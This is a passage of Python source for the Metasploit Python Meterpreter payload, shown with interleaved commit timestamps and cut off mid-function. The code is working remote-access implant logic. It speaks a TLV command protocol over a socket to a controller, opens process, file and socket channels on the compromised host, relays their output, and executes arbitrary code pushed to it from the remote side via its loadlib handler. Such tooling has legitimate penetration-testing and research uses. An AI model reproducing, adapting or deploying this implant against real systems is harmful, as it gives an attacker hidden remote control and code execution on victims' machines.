2013-08-06 03:38:49 +00:00
|
|
|
#!/usr/bin/python
|
|
|
|
import code
|
2013-08-15 13:27:13 +00:00
|
|
|
import os
|
|
|
|
import random
|
2013-08-06 03:38:49 +00:00
|
|
|
import select
|
|
|
|
import socket
|
|
|
|
import struct
|
|
|
|
import subprocess
|
2013-08-15 13:27:13 +00:00
|
|
|
import sys
|
|
|
|
import threading
|
2014-05-30 18:35:47 +00:00
|
|
|
import time
|
2014-05-29 14:52:49 +00:00
|
|
|
import traceback
|
|
|
|
|
|
|
|
try:
|
|
|
|
import ctypes
|
|
|
|
except ImportError:
|
|
|
|
has_windll = False
|
|
|
|
else:
|
|
|
|
has_windll = hasattr(ctypes, 'windll')
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-05-28 20:30:27 +00:00
|
|
|
if sys.version_info[0] < 3:
|
2014-05-29 14:52:49 +00:00
|
|
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
|
|
|
bytes = lambda *args: str(*args[:1])
|
|
|
|
NULL_BYTE = '\x00'
|
|
|
|
else:
|
|
|
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
|
|
|
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
|
|
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
2014-05-28 20:30:27 +00:00
|
|
|
|
2013-08-06 03:38:49 +00:00
|
|
|
#
|
|
|
|
# Constants
|
|
|
|
#
|
2014-05-29 14:52:49 +00:00
|
|
|
DEBUGGING = False
|
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
PACKET_TYPE_REQUEST = 0
|
|
|
|
PACKET_TYPE_RESPONSE = 1
|
|
|
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
2013-08-06 03:38:49 +00:00
|
|
|
PACKET_TYPE_PLAIN_RESPONSE = 11
|
|
|
|
|
|
|
|
ERROR_SUCCESS = 0
|
|
|
|
# not defined in original C implementation
|
|
|
|
ERROR_FAILURE = 1
|
|
|
|
|
|
|
|
CHANNEL_CLASS_BUFFERED = 0
|
2014-03-04 18:31:29 +00:00
|
|
|
CHANNEL_CLASS_STREAM = 1
|
2013-08-06 03:38:49 +00:00
|
|
|
CHANNEL_CLASS_DATAGRAM = 2
|
2014-03-04 18:31:29 +00:00
|
|
|
CHANNEL_CLASS_POOL = 3
|
2013-08-06 03:38:49 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# TLV Meta Types
|
|
|
|
#
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_META_TYPE_NONE = ( 0 )
|
|
|
|
TLV_META_TYPE_STRING = (1 << 16)
|
|
|
|
TLV_META_TYPE_UINT = (1 << 17)
|
|
|
|
TLV_META_TYPE_RAW = (1 << 18)
|
|
|
|
TLV_META_TYPE_BOOL = (1 << 19)
|
2014-07-07 09:46:54 +00:00
|
|
|
TLV_META_TYPE_QWORD = (1 << 20)
|
2013-08-06 03:38:49 +00:00
|
|
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_META_TYPE_GROUP = (1 << 30)
|
|
|
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
2013-08-06 03:38:49 +00:00
|
|
|
# not defined in original
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
2013-08-06 03:38:49 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# TLV base starting points
|
|
|
|
#
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_RESERVED = 0
|
2013-08-06 03:38:49 +00:00
|
|
|
TLV_EXTENSIONS = 20000
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_USER = 40000
|
|
|
|
TLV_TEMP = 60000
|
2013-08-06 03:38:49 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# TLV Specific Types
|
|
|
|
#
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
|
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
|
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
|
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
|
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
|
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
|
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
|
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
|
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
|
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
|
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
|
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
|
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
|
|
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
|
|
|
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
|
|
|
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
|
|
|
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
|
|
|
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
|
|
|
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
|
|
|
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
|
|
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
|
|
|
|
|
|
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
|
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
|
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
|
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
|
|
|
|
|
|
EXPORTED_SYMBOLS = {}
|
2014-05-29 14:52:49 +00:00
|
|
|
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
2014-03-04 18:31:29 +00:00
|
|
|
|
|
|
|
def export(symbol):
|
|
|
|
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
|
|
|
return symbol
|
2013-08-06 03:38:49 +00:00
|
|
|
|
|
|
|
def generate_request_id():
|
|
|
|
chars = 'abcdefghijklmnopqrstuvwxyz'
|
2014-05-30 18:35:47 +00:00
|
|
|
return ''.join(random.choice(chars) for x in range(32))
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
@export
|
|
|
|
def inet_pton(family, address):
|
|
|
|
if hasattr(socket, 'inet_pton'):
|
|
|
|
return socket.inet_pton(family, address)
|
|
|
|
elif has_windll:
|
|
|
|
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
|
|
|
lpAddress = (ctypes.c_ubyte * 28)()
|
|
|
|
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
|
|
|
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
|
|
|
raise Exception('WSAStringToAddress failed')
|
|
|
|
if family == socket.AF_INET:
|
|
|
|
return ''.join(map(chr, lpAddress[4:8]))
|
|
|
|
elif family == socket.AF_INET6:
|
|
|
|
return ''.join(map(chr, lpAddress[8:24]))
|
|
|
|
raise Exception('no suitable inet_pton functionality is available')
|
|
|
|
|
|
|
|
@export
|
2013-10-03 14:31:54 +00:00
|
|
|
def packet_enum_tlvs(pkt, tlv_type = None):
|
|
|
|
offset = 0
|
|
|
|
while (offset < len(pkt)):
|
|
|
|
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
|
|
|
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
|
|
|
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
|
|
|
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
2014-05-29 19:09:09 +00:00
|
|
|
val = str(val.split(NULL_BYTE, 1)[0])
|
2013-10-03 14:31:54 +00:00
|
|
|
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
|
|
val = struct.unpack('>I', val)[0]
|
2014-07-07 09:46:54 +00:00
|
|
|
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
|
|
val = struct.unpack('>Q', val)[0]
|
2013-10-03 14:31:54 +00:00
|
|
|
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
|
|
|
val = bool(struct.unpack('b', val)[0])
|
|
|
|
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
|
|
pass
|
|
|
|
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
|
|
|
offset += tlv[0]
|
|
|
|
raise StopIteration()
|
|
|
|
|
2014-05-29 14:52:49 +00:00
|
|
|
@export
|
|
|
|
def packet_get_tlv(pkt, tlv_type):
|
|
|
|
try:
|
|
|
|
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
|
|
|
except IndexError:
|
|
|
|
return {}
|
|
|
|
return tlv
|
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
@export
|
2013-08-06 03:38:49 +00:00
|
|
|
def tlv_pack(*args):
|
|
|
|
if len(args) == 2:
|
|
|
|
tlv = {'type':args[0], 'value':args[1]}
|
|
|
|
else:
|
|
|
|
tlv = args[0]
|
|
|
|
data = ""
|
2014-05-29 14:52:49 +00:00
|
|
|
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
2013-08-06 03:38:49 +00:00
|
|
|
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
2014-07-07 09:46:54 +00:00
|
|
|
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
|
|
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
|
2013-08-06 03:38:49 +00:00
|
|
|
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
2014-05-29 14:52:49 +00:00
|
|
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
|
|
|
else:
|
|
|
|
value = tlv['value']
|
|
|
|
if not is_bytes(value):
|
|
|
|
value = bytes(value, 'UTF-8')
|
|
|
|
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
|
|
|
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
|
|
|
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
|
|
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
|
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
|
|
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
|
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
2013-08-06 03:38:49 +00:00
|
|
|
return data
|
|
|
|
|
2014-05-29 19:09:09 +00:00
|
|
|
#@export
|
|
|
|
class MeterpreterFile(object):
|
|
|
|
def __init__(self, file_obj):
|
|
|
|
self.file_obj = file_obj
|
|
|
|
|
|
|
|
def __getattr__(self, name):
|
|
|
|
return getattr(self.file_obj, name)
|
|
|
|
export(MeterpreterFile)
|
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
#@export
|
|
|
|
class MeterpreterSocket(object):
|
|
|
|
def __init__(self, sock):
|
|
|
|
self.sock = sock
|
|
|
|
|
|
|
|
def __getattr__(self, name):
|
|
|
|
return getattr(self.sock, name)
|
|
|
|
export(MeterpreterSocket)
|
|
|
|
|
|
|
|
#@export
|
|
|
|
class MeterpreterSocketClient(MeterpreterSocket):
|
|
|
|
pass
|
|
|
|
export(MeterpreterSocketClient)
|
|
|
|
|
|
|
|
#@export
|
|
|
|
class MeterpreterSocketServer(MeterpreterSocket):
|
|
|
|
pass
|
|
|
|
export(MeterpreterSocketServer)
|
|
|
|
|
2013-08-06 03:38:49 +00:00
|
|
|
class STDProcessBuffer(threading.Thread):
|
|
|
|
def __init__(self, std, is_alive):
|
|
|
|
threading.Thread.__init__(self)
|
|
|
|
self.std = std
|
|
|
|
self.is_alive = is_alive
|
2014-05-30 18:35:47 +00:00
|
|
|
self.data = bytes()
|
2013-08-06 03:38:49 +00:00
|
|
|
self.data_lock = threading.RLock()
|
|
|
|
|
|
|
|
def run(self):
|
2014-05-30 18:35:47 +00:00
|
|
|
for byte in iter(lambda: self.std.read(1), bytes()):
|
2013-08-06 03:38:49 +00:00
|
|
|
self.data_lock.acquire()
|
|
|
|
self.data += byte
|
|
|
|
self.data_lock.release()
|
|
|
|
|
|
|
|
def is_read_ready(self):
|
|
|
|
return len(self.data) != 0
|
|
|
|
|
2014-05-30 18:35:47 +00:00
|
|
|
def peek(self, l = None):
|
|
|
|
data = bytes()
|
2013-08-06 03:38:49 +00:00
|
|
|
self.data_lock.acquire()
|
|
|
|
if l == None:
|
|
|
|
data = self.data
|
|
|
|
else:
|
|
|
|
data = self.data[0:l]
|
2014-05-30 18:35:47 +00:00
|
|
|
self.data_lock.release()
|
|
|
|
return data
|
|
|
|
|
|
|
|
def read(self, l = None):
|
|
|
|
self.data_lock.acquire()
|
|
|
|
data = self.peek(l)
|
|
|
|
self.data = self.data[len(data):]
|
2013-08-06 03:38:49 +00:00
|
|
|
self.data_lock.release()
|
|
|
|
return data
|
|
|
|
|
2014-03-04 18:31:29 +00:00
|
|
|
#@export
|
2013-08-06 03:38:49 +00:00
|
|
|
class STDProcess(subprocess.Popen):
|
|
|
|
def __init__(self, *args, **kwargs):
|
|
|
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
2014-05-30 18:35:47 +00:00
|
|
|
self.echo_protection = False
|
2013-08-09 14:39:19 +00:00
|
|
|
|
|
|
|
def start(self):
|
2013-08-06 03:38:49 +00:00
|
|
|
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
|
|
|
self.stdout_reader.start()
|
|
|
|
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
|
|
|
self.stderr_reader.start()
|
2014-05-30 18:35:47 +00:00
|
|
|
|
|
|
|
def write(self, channel_data):
|
|
|
|
self.stdin.write(channel_data)
|
|
|
|
self.stdin.flush()
|
|
|
|
if self.echo_protection:
|
|
|
|
end_time = time.time() + 0.5
|
|
|
|
out_data = bytes()
|
|
|
|
while (time.time() < end_time) and (out_data != channel_data):
|
|
|
|
if self.stdout_reader.is_read_ready():
|
|
|
|
out_data = self.stdout_reader.peek(len(channel_data))
|
|
|
|
if out_data == channel_data:
|
|
|
|
self.stdout_reader.read(len(channel_data))
|
2014-03-04 18:31:29 +00:00
|
|
|
export(STDProcess)
|
2013-08-06 03:38:49 +00:00
|
|
|
|
|
|
|
class PythonMeterpreter(object):
|
|
|
|
def __init__(self, socket):
|
|
|
|
self.socket = socket
|
|
|
|
self.extension_functions = {}
|
|
|
|
self.channels = {}
|
|
|
|
self.interact_channels = []
|
|
|
|
self.processes = {}
|
2014-05-29 14:52:49 +00:00
|
|
|
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
2013-08-06 03:38:49 +00:00
|
|
|
self.extension_functions[func[1:]] = getattr(self, func)
|
|
|
|
self.running = True
|
|
|
|
|
|
|
|
def register_function(self, func):
|
|
|
|
self.extension_functions[func.__name__] = func
|
2014-03-04 18:31:29 +00:00
|
|
|
return func
|
2013-08-06 03:38:49 +00:00
|
|
|
|
2013-08-09 12:39:05 +00:00
|
|
|
def register_function_windll(self, func):
|
|
|
|
if has_windll:
|
|
|
|
self.register_function(func)
|
2014-03-04 18:31:29 +00:00
|
|
|
return func
|
2013-08-09 12:39:05 +00:00
|
|
|
|
2013-08-13 16:50:52 +00:00
|
|
|
def add_channel(self, channel):
|
2014-05-29 19:09:09 +00:00
|
|
|
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
2013-08-13 16:50:52 +00:00
|
|
|
idx = 0
|
|
|
|
while idx in self.channels:
|
|
|
|
idx += 1
|
|
|
|
self.channels[idx] = channel
|
|
|
|
return idx
|
|
|
|
|
|
|
|
def add_process(self, process):
|
|
|
|
idx = 0
|
|
|
|
while idx in self.processes:
|
|
|
|
idx += 1
|
|
|
|
self.processes[idx] = process
|
|
|
|
return idx
|
|
|
|
|
2013-08-06 03:38:49 +00:00
|
|
|
def run(self):
|
|
|
|
while self.running:
|
2013-09-10 19:06:33 +00:00
|
|
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
2013-08-06 03:38:49 +00:00
|
|
|
request = self.socket.recv(8)
|
|
|
|
if len(request) != 8:
|
|
|
|
break
|
|
|
|
req_length, req_type = struct.unpack('>II', request)
|
|
|
|
req_length -= 8
|
2014-05-28 20:30:27 +00:00
|
|
|
request = bytes()
|
2013-08-06 03:38:49 +00:00
|
|
|
while len(request) < req_length:
|
|
|
|
request += self.socket.recv(4096)
|
|
|
|
response = self.create_response(request)
|
|
|
|
self.socket.send(response)
|
|
|
|
else:
|
2014-03-04 18:31:29 +00:00
|
|
|
# iterate over the keys because self.channels could be modified if one is closed
|
2014-05-30 18:35:47 +00:00
|
|
|
channel_ids = list(self.channels.keys())
|
2013-08-06 03:38:49 +00:00
|
|
|
for channel_id in channel_ids:
|
|
|
|
channel = self.channels[channel_id]
|
2014-05-30 18:35:47 +00:00
|
|
|
data = bytes()
|
2013-08-06 03:38:49 +00:00
|
|
|
if isinstance(channel, STDProcess):
|
|
|
|
if not channel_id in self.interact_channels:
|
|
|
|
continue
|
2014-05-30 18:35:47 +00:00
|
|
|
if channel.stderr_reader.is_read_ready():
|
2013-08-06 03:38:49 +00:00
|
|
|
data = channel.stderr_reader.read()
|
2014-05-30 18:35:47 +00:00
|
|
|
elif channel.stdout_reader.is_read_ready():
|
|
|
|
data = channel.stdout_reader.read()
|
2013-08-06 03:38:49 +00:00
|
|
|
elif channel.poll() != None:
|
|
|
|
self.handle_dead_resource_channel(channel_id)
|
2014-03-04 18:31:29 +00:00
|
|
|
elif isinstance(channel, MeterpreterSocketClient):
|
2013-08-06 03:38:49 +00:00
|
|
|
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
|
|
|
try:
|
|
|
|
d = channel.recv(1)
|
|
|
|
except socket.error:
|
2014-05-30 18:35:47 +00:00
|
|
|
d = bytes()
|
2013-08-06 03:38:49 +00:00
|
|
|
if len(d) == 0:
|
|
|
|
self.handle_dead_resource_channel(channel_id)
|
|
|
|
break
|
|
|
|
data += d
|
2014-03-04 18:31:29 +00:00
|
|
|
elif isinstance(channel, MeterpreterSocketServer):
|
|
|
|
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
|
|
|
(client_sock, client_addr) = channel.accept()
|
|
|
|
server_addr = channel.getsockname()
|
|
|
|
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
|
|
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
|
|
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
|
|
|
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
|
|
|
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
|
|
|
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
|
|
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
|
|
self.socket.send(pkt)
|
2013-08-06 03:38:49 +00:00
|
|
|
if data:
|
|
|
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
|
|
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
|
|
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
|
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
|
|
self.socket.send(pkt)
|
|
|
|
|
|
|
|
def handle_dead_resource_channel(self, channel_id):
|
|
|
|
del self.channels[channel_id]
|
|
|
|
if channel_id in self.interact_channels:
|
|
|
|
self.interact_channels.remove(channel_id)
|
|
|
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
|
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
|
|
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
|
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
|
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
|
|
self.socket.send(pkt)
|
|
|
|
|
|
|
|
def _core_loadlib(self, request, response):
|
|
|
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
|
|
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
|
|
|
return ERROR_FAILURE
|
2014-05-29 14:52:49 +00:00
|
|
|
preloadlib_methods = list(self.extension_functions.keys())
|
2014-03-04 18:31:29 +00:00
|
|
|
symbols_for_extensions = {'meterpreter':self}
|
|
|
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
|
|
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
2013-08-06 03:38:49 +00:00
|
|
|
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
2014-05-29 14:52:49 +00:00
|
|
|
postloadlib_methods = list(self.extension_functions.keys())
|
|
|
|
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
2013-08-06 03:38:49 +00:00
|
|
|
for method in new_methods:
|
|
|
|
response += tlv_pack(TLV_TYPE_METHOD, method)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_shutdown(self, request, response):
|
|
|
|
response += tlv_pack(TLV_TYPE_BOOL, True)
|
|
|
|
self.running = False
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_channel_open(self, request, response):
|
|
|
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
2014-03-04 18:31:29 +00:00
|
|
|
handler = 'channel_open_' + channel_type['value']
|
2013-08-06 03:38:49 +00:00
|
|
|
if handler not in self.extension_functions:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
handler = self.extension_functions[handler]
|
|
|
|
return handler(request, response)
|
|
|
|
|
|
|
|
def _core_channel_close(self, request, response):
|
|
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
|
|
if channel_id not in self.channels:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
channel = self.channels[channel_id]
|
2014-05-29 19:09:09 +00:00
|
|
|
if isinstance(channel, subprocess.Popen):
|
2013-08-06 03:38:49 +00:00
|
|
|
channel.kill()
|
2014-05-29 19:09:09 +00:00
|
|
|
elif isinstance(channel, MeterpreterFile):
|
|
|
|
channel.close()
|
2014-03-04 18:31:29 +00:00
|
|
|
elif isinstance(channel, MeterpreterSocket):
|
2013-08-06 03:38:49 +00:00
|
|
|
channel.close()
|
|
|
|
else:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
del self.channels[channel_id]
|
|
|
|
if channel_id in self.interact_channels:
|
|
|
|
self.interact_channels.remove(channel_id)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_channel_eof(self, request, response):
|
|
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
|
|
if channel_id not in self.channels:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
channel = self.channels[channel_id]
|
|
|
|
result = False
|
2014-05-29 19:09:09 +00:00
|
|
|
if isinstance(channel, MeterpreterFile):
|
2014-02-28 01:45:38 +00:00
|
|
|
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
2013-08-06 03:38:49 +00:00
|
|
|
response += tlv_pack(TLV_TYPE_BOOL, result)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_channel_interact(self, request, response):
|
|
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
|
|
if channel_id not in self.channels:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
channel = self.channels[channel_id]
|
|
|
|
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
|
|
|
if toggle:
|
|
|
|
if channel_id in self.interact_channels:
|
|
|
|
self.interact_channels.remove(channel_id)
|
|
|
|
else:
|
|
|
|
self.interact_channels.append(channel_id)
|
|
|
|
elif channel_id in self.interact_channels:
|
|
|
|
self.interact_channels.remove(channel_id)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_channel_read(self, request, response):
|
|
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
|
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
|
|
if channel_id not in self.channels:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
channel = self.channels[channel_id]
|
2013-08-13 16:50:52 +00:00
|
|
|
data = ''
|
2014-05-29 19:09:09 +00:00
|
|
|
if isinstance(channel, STDProcess):
|
2013-08-06 03:38:49 +00:00
|
|
|
if channel.poll() != None:
|
|
|
|
self.handle_dead_resource_channel(channel_id)
|
|
|
|
if channel.stdout_reader.is_read_ready():
|
|
|
|
data = channel.stdout_reader.read(length)
|
2014-05-29 19:09:09 +00:00
|
|
|
elif isinstance(channel, MeterpreterFile):
|
|
|
|
data = channel.read(length)
|
2014-03-04 18:31:29 +00:00
|
|
|
elif isinstance(channel, MeterpreterSocket):
|
2013-08-06 03:38:49 +00:00
|
|
|
data = channel.recv(length)
|
|
|
|
else:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def _core_channel_write(self, request, response):
|
|
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
|
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
|
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
|
|
if channel_id not in self.channels:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
channel = self.channels[channel_id]
|
|
|
|
l = len(channel_data)
|
2014-05-29 19:09:09 +00:00
|
|
|
if isinstance(channel, subprocess.Popen):
|
2013-08-06 03:38:49 +00:00
|
|
|
if channel.poll() != None:
|
|
|
|
self.handle_dead_resource_channel(channel_id)
|
|
|
|
return ERROR_FAILURE, response
|
2014-05-30 18:35:47 +00:00
|
|
|
channel.write(channel_data)
|
2014-05-29 19:09:09 +00:00
|
|
|
elif isinstance(channel, MeterpreterFile):
|
|
|
|
channel.write(channel_data)
|
2014-03-04 18:31:29 +00:00
|
|
|
elif isinstance(channel, MeterpreterSocket):
|
2013-08-06 03:38:49 +00:00
|
|
|
try:
|
|
|
|
l = channel.send(channel_data)
|
|
|
|
except socket.error:
|
|
|
|
channel.close()
|
|
|
|
self.handle_dead_resource_channel(channel_id)
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
else:
|
|
|
|
return ERROR_FAILURE, response
|
|
|
|
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
|
|
|
